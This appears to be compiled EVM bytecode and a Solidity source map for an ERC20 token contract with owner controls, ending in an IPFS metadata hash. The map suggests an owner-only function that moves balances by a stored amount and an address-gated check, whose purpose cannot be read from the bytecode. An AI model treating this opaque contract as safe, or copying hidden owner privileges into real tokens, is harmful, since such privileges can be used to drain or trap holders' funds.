815260206004820152601e60248201527f45524332303a20696e73756666696369656e742020616c6c6f77616e6365000060448201526064016104a8565b61065e8484848403610664565b6001600160a01b0383166108755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a8565b6001600160a01b03821661089b5760405162461bcd60e51b81526004016104a890610a76565b805f036108b2576108ad83835f6104d7565b505050565b6108ad8383836104d7565b6005546001600160a01b0316331461045d5760405163118cdaa760e01b81523360048201526024016104a8565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b80356001600160a01b0381168114610951575f80fd5b919050565b5f8060408385031215610967575f80fd5b6109708361093b565b946020939093013593505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f805f606084860312156109c5575f80fd5b6109ce8461093b565b92506109dc6020850161093b565b929592945050506040919091013590565b5f602082840312156109fd575f80fd5b610a068261093b565b9392505050565b5f8060408385031215610a1e575f80fd5b610a278361093b565b9150610a356020840161093b565b90509250929050565b600181811c90821680610a5257607f821691505b602082108103610a7057634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea2646970667358221220152dff5bb16e75983cbce608e220e54609b62b2f4fbab341726f7be39fcf70d564736f6c634300081a0033

15113:3611:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16583:130;;;;;;;;;;-1:-1:-1;16583:130:0;;;;;:::i;:::-;;:::i;:::-;;2947:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4017:240;;;;;;;;;;-1:-1:-1;4017:240:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4017:240:0;920:187:1;15190:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1303:32:1;;;1285:51;;1273:2;1258:18;15190:51:0;1112:230:1;3267:108:0;;;;;;;;;;-1:-1:-1;3355:12:0;;3267:108;;;1493:25:1;;;1481:2;1466:18;3267:108:0;1347:177:1;4265:292:0;;;;;;;;;;-1:-1:-1;4265:292:0;;;;;:::i;:::-;;:::i;3167:92::-;;;;;;;;;;-1:-1:-1;3167:92:0;;3250:1;2050:36:1;;2038:2;2023:18;3167:92:0;1908:184:1;15248:28:0;;;;;;;;;;-1:-1:-1;15248:28:0;;;;-1:-1:-1;;;;;15248:28:0;;;15499;;;;;;;;;;;;;;;;3383:177;;;;;;;;;;-1:-1:-1;3383:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;3534:18:0;3502:7;3534:18;;;;;;;;;;;;3383:177;1021:103;;;;;;;;;;;;;:::i;752:87::-;;;;;;;;;;-1:-1:-1;825:6:0;;-1:-1:-1;;;;;825:6:0;752:87;;3055:104;;;;;;;;;;;;;:::i;3568:232::-;;;;;;;;;;-1:-1:-1;3568:232:0;;;;;:::i;:::-;;:::i;3808:201::-;;;;;;;;;;-1:-1:-1;3808:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;3974:18:0;;;3942:7;3974:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3808:201;15457:33;;;;;;;;;;;;;;;;1132:220;;;;;;;;;;-1:-1:-1;1132:220:0;;;;;:::i;:::-;;:::i;16583:130::-;16659:7;:5;:7::i;:::-;16667:38;16683:7;15441:6;16698;16667:15;:38::i;:::-;16583:130;;:::o;2947:100::-;3001:13;3034:5;3027:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2947:100;:::o;4017:240::-;4135:4;175:10;4196:31;175:10;4212:7;4221:5;4196:8;:31::i;:::-;-1:-1:-1;4245:4:0;;4017:240;-1:-1:-1;;;4017:240:0:o;4265:292::-;4395:4;175:10;4453:37;4469:4;175:10;4484:5;4453:15;:37::i;:::-;4501:26;4511:4;4517:2;4521:5;4501:9;:26::i;:::-;-1:-1:-1;4545:4:0;;4265:292;-1:-1:-1;;;;4265:292:0:o;1021:103::-;711:13;:11;:13::i;:::-;1086:30:::1;1113:1;1086:18;:30::i;:::-;1021:103::o:0;3055:104::-;3111:13;3144:7;3137:14;;;;;:::i;3568:232::-;3682:4;175:10;3743:27;175:10;3760:2;3764:5;3743:9;:27::i;1132:220::-;711:13;:11;:13::i;:::-;-1:-1:-1;;;;;1217:22:0;::::1;1213:93;;1263:31;::::0;-1:-1:-1;;;1263:31:0;;1291:1:::1;1263:31;::::0;::::1;1285:51:1::0;1258:18;;1263:31:0::1;;;;;;;;1213:93;1316:28;1335:8;1316:18;:28::i;:::-;1132:220:::0;:::o;17153:78::-;17211:10;17203:19;;;;:7;:19;;;;;;;;17195:28;;;;;4565:709;-1:-1:-1;;;;;4695:18:0;;4687:69;;;;-1:-1:-1;;;4687:69:0;;3348:2:1;4687:69:0;;;3330:21:1;3387:2;3367:18;;;3360:30;3426:34;3406:18;;;3399:62;-1:-1:-1;;;3477:18:1;;;3470:36;3523:19;;4687:69:0;3146:402:1;4687:69:0;-1:-1:-1;;;;;4775:16:0;;4767:64;;;;-1:-1:-1;;;4767:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4916:15:0;;4894:19;4916:15;;;;;;;;;;;4950:20;;;;4942:71;;;;-1:-1:-1;;;4942:71:0;;4159:2:1;4942:71:0;;;4141:21:1;4198:2;4178:18;;;4171:30;4237:34;4217:18;;;4210:62;-1:-1:-1;;;4288:18:1;;;4281:36;4334:19;;4942:71:0;3957:402:1;4942:71:0;-1:-1:-1;;;;;5049:15:0;;;:9;:15;;;;;;;;;;;:24;;;;;;;5088:13;;;;;;;;;:22;;;;;;5152:6;5138:21;5134:84;;5196:2;-1:-1:-1;;;;;5181:25:0;5190:4;-1:-1:-1;;;;;5181:25:0;;5200:5;5181:25;;;;1493::1;;1481:2;1466:18;;1347:177;5181:25:0;;;;;;;;5134:84;4676:598;4565:709;;;:::o;5719:377::-;-1:-1:-1;;;;;5854:19:0;;5846:68;;;;-1:-1:-1;;;5846:68:0;;4566:2:1;5846:68:0;;;4548:21:1;4605:2;4585:18;;;4578:30;4644:34;4624:18;;;4617:62;-1:-1:-1;;;4695:18:1;;;4688:34;4739:19;;5846:68:0;4364:400:1;5846:68:0;-1:-1:-1;;;;;5933:21:0;;5925:68;;;;-1:-1:-1;;;5925:68:0;;4971:2:1;5925:68:0;;;4953:21:1;5010:2;4990:18;;;4983:30;5049:34;5029:18;;;5022:62;-1:-1:-1;;;5100:18:1;;;5093:32;5142:19;;5925:68:0;4769:398:1;5925:68:0;-1:-1:-1;;;;;6006:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:35;;;6057:31;;1493:25:1;;;6057:31:0;;1466:18:1;6057:31:0;;;;;;;5719:377;;;:::o;6104:500::-;-1:-1:-1;;;;;3974:18:0;;;6238:24;3974:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;6305:37:0;;6301:296;;6405:5;6385:16;:25;;6359:117;;;;-1:-1:-1;;;6359:117:0;;5374:2:1;6359:117:0;;;5356:21:1;5413:2;5393:18;;;5386:30;5452:32;5432:18;;;5425:60;5502:18;;6359:117:0;5172:354:1;6359:117:0;6520:50;6529:5;6536:7;6564:5;6545:16;:24;6520:8;:50::i;16721:424::-;-1:-1:-1;;;;;16853:18:0;;16845:68;;;;-1:-1:-1;;;16845:68:0;;5733:2:1;16845:68:0;;;5715:21:1;5772:2;5752:18;;;5745:30;5811:34;5791:18;;;5784:62;-1:-1:-1;;;5862:18:1;;;5855:35;5907:19;;16845:68:0;5531:401:1;16845:68:0;-1:-1:-1;;;;;16932:16:0;;16924:64;;;;-1:-1:-1;;;16924:64:0;;;;;;;:::i;:::-;17003:6;17013:1;17003:11;16999:93;;17031:28;17047:4;17053:2;17057:1;17031:15;:28::i;:::-;16721:424;;;:::o;16999:93::-;17104:33;17120:4;17126:2;17130:6;17104:15;:33::i;847:166::-;825:6;;-1:-1:-1;;;;;825:6:0;175:10;907:23;903:103;;954:40;;-1:-1:-1;;;954:40:0;;175:10;954:40;;;1285:51:1;1258:18;;954:40:0;1112:230:1;1360:191:0;1453:6;;;-1:-1:-1;;;;;1470:17:0;;;-1:-1:-1;;;;;;1470:17:0;;;;;;;1503:40;;1453:6;;;1470:17;1453:6;;1503:40;;1434:16;;1503:40;1423:128;1360:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:300::-;260:6;268;321:2;309:9;300:7;296:23;292:32;289:52;;;337:1;334;327:12;289:52;360:29;379:9;360:29;:::i;:::-;350:39;458:2;443:18;;;;430:32;;-1:-1:-1;;;192:300:1:o;497:418::-;646:2;635:9;628:21;609:4;678:6;672:13;721:6;716:2;705:9;701:18;694:34;780:6;775:2;767:6;763:15;758:2;747:9;743:18;737:50;836:1;831:2;822:6;811:9;807:22;803:31;796:42;906:2;899;895:7;890:2;882:6;878:15;874:29;863:9;859:45;855:54;847:62;;;497:418;;;;:::o;1529:374::-;1606:6;1614;1622;1675:2;1663:9;1654:7;1650:23;1646:32;1643:52;;;1691:1;1688;1681:12;1643:52;1714:29;1733:9;1714:29;:::i;:::-;1704:39;;1762:38;1796:2;1785:9;1781:18;1762:38;:::i;:::-;1529:374;;1752:48;;-1:-1:-1;;;1869:2:1;1854:18;;;;1841:32;;1529:374::o;2305:186::-;2364:6;2417:2;2405:9;2396:7;2392:23;2388:32;2385:52;;;2433:1;2430;2423:12;2385:52;2456:29;2475:9;2456:29;:::i;:::-;2446:39;2305:186;-1:-1:-1;;;2305:186:1:o;2496:260::-;2564:6;2572;2625:2;2613:9;2604:7;2600:23;2596:32;2593:52;;;2641:1;2638;2631:12;2593:52;2664:29;2683:9;2664:29;:::i;:::-;2654:39;;2712:38;2746:2;2735:9;2731:18;2712:38;:::i;:::-;2702:48;;2496:260;;;;;:::o;2761:380::-;2840:1;2836:12;;;;2883;;;2904:61;;2958:4;2950:6;2946:17;2936:27;;2904:61;3011:2;3003:6;3000:14;2980:18;2977:38;2974:161;;3057:10;3052:3;3048:20;3045:1;3038:31;3092:4;3089:1;3082:15;3120:4;3117:1;3110:15;2974:161;;2761:380;;;:::o;3553:399::-;3755:2;3737:21;;;3794:2;3774:18;;;3767:30;3833:34;3828:2;3813:18;;3806:62;-1:-1:-1;;;3899:2:1;3884:18;;3877:33;3942:3;3927:19;;3553:399::o

ipfs://152dff5bb16e75983cbce608e220e54609b62b2f4fbab341726f7be39fcf70d5